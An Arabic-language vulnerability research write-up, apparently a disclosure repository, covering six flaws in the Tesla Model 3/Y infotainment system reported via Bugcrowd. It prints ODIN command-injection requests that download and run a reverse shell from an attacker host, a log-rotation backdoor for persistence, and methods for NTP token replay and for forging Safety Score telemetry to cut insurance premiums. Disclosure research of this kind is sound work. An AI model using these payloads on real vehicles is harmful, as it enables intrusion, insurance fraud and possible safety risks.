
بحث في نقاط الضعف في أنظمة المعلومات والترفيه في Tesla Model 3/Y. 6 نقاط ضعف، 4 CVEs (CVE-2022-42005 إلى CVE-2022-42008). شل جذر، وصول مستمر، تزوير بيانات التأمين عن بُعد.
أبحاث الثغرات على نظام المعلومات والترفيه في تيسلا موديل 3/واي (معالج Intel Atom MCU، لينكس 4.14.235)، تم الإبلاغ عنها بشكل مسؤول إلى تيسلا عبر Bugcrowd.
تم الحصول على وصول جذر دائم على سيارة تيسلا موديل 3 إنتاجية من خلال ثغرة حقن أوامر في واجهة التشخيص ODIN الخاصة بتيسلا (CVE-2022-42008). ومن هناك، تم اكتشاف خمس ثغرات إضافية — بما في ذلك طريقة استمرار تنجو من تحديثات البرامج الثابتة (CVE-2022-42005، CVE-2022-42006) وطريقة لتزوير بيانات التأمين عن بُعد الخاصة بـ Safety Score والتي خفضت الأقساط الشهرية مباشرة من 130 دولارًا إلى 83 دولارًا.
ست ثغرات عبر ODIN وhermes وSafety Score. أربعة CVEs. تمت مكافأتها عبر Bugcrowd والتسجيل في برنامج باحث أمن SSH لتيسلا.
| الاكتشاف | CVE | التأثير | الحالة | المكافأة |
|---|---|---|---|---|
| شل جذر عبر ODIN | CVE-2022-42008 | شل جذر عبر حقن الأوامر | تم الإصلاح (2021.32.10) | مكافأة Bugcrowd |
| رموز ODIN المنتهية | CVE-2022-42007 | إعادة تشغيل الرمز عبر تزوير NTP | تم الإصلاح (2021.32.10) | مكافأة Bugcrowd |
| الرفع إلى Mothership | — | رفع ملف عشوائي إلى خوادم تيسلا | مُصنف كغير قابل للتطبيق | — |
| غلاف خلفي للسجلات + الوصول إلى DV | CVE-2022-42005, CVE-2022-42006 | وصول دائم ينجو من تحديثات البرامج الثابتة | تم الإصلاح | مكافأة Bugcrowd |
| تزوير بيانات التأمين عن بُعد | — | تزوير Safety Score يقلل أقساط التأمين | لم يتم تأكيد الإصلاح | — |
| إلغاء دمج ODIN | — | أي مهمة ODIN بدون مصادقة | لم يتم تأكيد الإصلاح | — |
نظام المعلومات والترفيه في تيسلا موديل 3/واي (معالج Intel Atom MCU) يعمل بنظام تشغيل يعتمد على لينكس مع عدة أسطح هجوم تم تحديدها خلال هذا البحث:
┌──────────────────────────────────────────────────────────┐
│ Tesla Model 3 MCU (Intel) │
│ │
│ ┌────────────┐ ┌──────────────┐ ┌──────────────────┐ │
│ │ ODIN │ │ QtCarServer │ │ hermes │ │
│ │ │ │ │ │ (proxy+client) │ │
│ │ CVE-42008 │ │ prototype_ │ │ │ │
│ │ (cmd inj) │ │ server │ │ Uploads to │ │
│ │ │ │ CVE-42006 │ │ Mothership │ │
│ │ Report 06 │ │ (data vals) │ │ [Report 03] │ │
│ │ (is-fused │ │ │ │ [Report 05] │ │
│ │ bypass) │ └──────────────┘ └────────┬─────────┘ │
│ └──────┬─────┘ │ │
│ │ ┌──────────────┐ │ │
│ │ │ svlogd │ │ │
│ │ │ Log Rotation │ │ │
│ │ │ CVE-42005 │ │ │
│ │ │ (persistence)│ │ │
│ │ └──────────────┘ │ │
└─────────┼───────────────────────────────────┼────────────┘
│ │
┌─────┴───────┐ ┌───────┴──────────┐
│ Toolbox │ │ Mothership │
│ API │ │ Server │
│ │ │ │
│ CVE-42007 │ │ File uploads │
│ (expired │ │ Telemetry data │
│ tokens) │ │ │
└─────────────┘ └──────────────────┘
التقارير الكاملة: شل جذر عبر ODIN | غلاف خلفي للسجلات + الوصول إلى DV
تتعرض واجهة التشخيص ODIN لمهمة تسمى TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK التي تقبل معاملاً MicTest-Input — قائمة من السلاسل النصية تُمرر مباشرة إلى CID_EXEC للتنفيذ كجذر. يمكن لأي مشترك بأدنى مستوى وصول في Toolbox (tbx-external) تشغيل هذه المهمة عن طريق الاتصال بمنفذ التشخيص في السيارة وإرسال طلب POST. يتم تنفيذ السلاسل النصية المدخلة حرفيًا، لذا الهجوم عبارة عن طلبين: أولاً، تحميل سكريبت شل عكسي إلى السيارة عبر curl:
{
"args": {
"kw": {
"MicTest-Input": ["curl", "http://<ATTACKER_IP>/shell.sh", "-o", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
ثم تنفيذه:
{
"args": {
"kw": {
"MicTest-Input": ["/bin/sh", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
بعد إنشاء شل جذر، يتم تحقيق الوصول الدائم عن طريق اختطاف تكوين تدوير السجلات svlogd. يتم استبدال أمر ضغط gzip القياسي بسكريبت يفتح غلافًا خلفيًا تحت حساب log في كل مرة يتم فيها تدوير السجلات:
!sh /var/log/wpa_supplicant/gzip.sh -c
يتم جعل ملف التكوين غير قابل للتغيير باستخدام chattr +i، مما يضمن بقاءه بعد تحديثات البرامج الثابتة. بينما لا يمكن لحساب log استخدام الأمر القياسي sdv لتعيين قيم البيانات (يرفضه dbus)، فإن خادم prototype_server الخامل في تيسلا يوفر وصول websocket غير مقيد لجميع قيم البيانات عند تمكينه عبر settings.conf. مجموعة مخصصة من سكريبتات الشل (sdv، lv، send.sh) تحاكي عميل websocket للتفاعل مع هذا الخادم.
يتم التحكم في مجموعة أدوات الاستمرار الكاملة من خلال مربع إدخال رمز الوصول للسيارة (يظهر بالضغط المطول على نموذج السيارة على شاشة اللمس)، والذي تتم مراقبته بواسطة سكريبت المستمع الذي يوزع الأوامر — بما في ذلك فتح الأغلفة الخلفية، وتعيين قيم البيانات، وتبديل أوضاع الخدمة.
نقطة نهاية توليد رمز ODIN في تيسلا تقبل رموز tbx-tokens المنتهية — والأهم — تعيد أيضًا رمز tbx-token الخاص بالمستخدم في الاستجابة، مما يتيح تسرب الرمز من خلال المشاركة. عادةً ما ترفض السيارة رموز ODIN المنتهية، ولكن من خلال تزوير مصدر وقت NTP للسيارة باستخدام اعتراض قائم على ARP (ntpspoof.py)، يمكن خداع السيارة لقبول الرموز بعد تاريخ انتهاء صلاحيتها. تكتشف البوابة العبث بـ NTP (GTW_w149_rtcTimeSetInPast) ولكنها لا تتصرف بناءً على هذه الإشارة.
باستخدام شهادات السيارة من /var/lib/car_creds/، يمكن بدء تشغيل خدمة hermes_proxy على جهاز محلي، مما يوفر وصولًا مباشرًا إلى خادم Mothership الخاص بتيسلا. نقطة نهاية النسخ الاحتياطي للملف الشخصي (/vehicles/${VIN}/computer_profile) تقبل رفع ملفات عشوائية دون أي تحقق — أمر curl واحد يرفع أي ملف إلى البنية التحتية الإنتاجية لتيسلا. صنفت تيسلا هذا الاكتشاف بأنه غير قابل للتطبيق ("يعمل كما هو مقصود").
نظام Safety Score في تيسلا يجمع بيانات القيادة عن بُعد من MCU ويرفعها إلى Mothership لحسابات أقساط التأمين. مع وصول الجذر، يمكن التقاط عينة بيانات تلبيسترية بنتيجة مثالية، وتضخيم قيم عداد المسافات المشفرة بـ protobuf عبر التحرير السداسي (باستخدام المخطط المعكوس هندسيًا في telemetry.proto)، وإعادة رفع العينات المعدلة. تم قبول رحلتين ملفقتين من قبل Mothership — إحداهما تظهر ~2,700 ميل في 3.5 ساعة — مما خفض الأقساط الشهرية للتأمين مباشرة من 130 دولارًا إلى 83 دولارًا. المشكلة الأساسية هي أن بيانات التليمترية تنشأ من MCU (يمكن للمستخدم الوصول إليها) بدلاً من وحدة APE3 للطيار الآلي (المقواة). لم تصدر تيسلا مكافأة لهذا الاكتشاف.
مع وصول الجذر، يؤدي تثبيت ربط لسكريبت is-fused مزيف فوق /usr/bin/is-fused وإعادة تشغيل خدمات ODIN إلى جعل ODIN يعتقد أن الوحدة في وضع المصنع/التطوير. في هذه الحالة، يمكن تنفيذ أي مهمة ODIN دون رموز مصادقة — بما في ذلك المهام التي يمكن أن تعطل إنذار السيارة (PROC_ICE_X_SET-DATA-VALUE)، أو تمسح VIN (PROC_ICE_X_DEASSOCIATE-PRODUCT-ID)، أو قد تشغل وظائف السيارة الحرجة للسلامة.
| الأداة | الوصف |
|---|---|
| ntpspoof.py | تزوير NTP قائم على ARP لإعادة تشغيل رموز ODIN المنتهية (Python/scapy) |
| telemetry.proto | مخطط protobuf معكوس هندسيًا لبيانات Safety Score عن بُعد لتيسلا (34 حقلًا) |
| listen.sh | مستمع أوامر مربع رمز الوصول — واجهة أوامر خفية عبر شاشة اللمس |
| sdv | تعيين قيمة البيانات عبر websocket prototype_server |
| lv | الحصول على قيمة البيانات عبر websocket prototype_server |
| send.sh | بناء إطار websocket للاتصال بـ prototype_server |
تم إجراء هذا البحث كجزء من أبحاث أمنية مسؤولة وتم الإبلاغ عنها لبرنامج مكافآت الثغرات في تيسلا عبر Bugcrowd. تم تصحيح جميع الثغرات التي تم تخصيص CVEs لها في إصدارات البرامج الثابتة الحالية. تم نشر هذا المستودع للأغراض التعليمية فقط.
نتيجة لهذا البحث، مُنح الفريق مكافآت مالية عبر Bugcrowd وتم تسجيله في برنامج باحث أمن SSH لتيسلا، وحصل على شهادات SSH موقعة لاستمرار الوصول البحثي.
تم إجراء البحث نيابة عن SourceHat Labs Inc.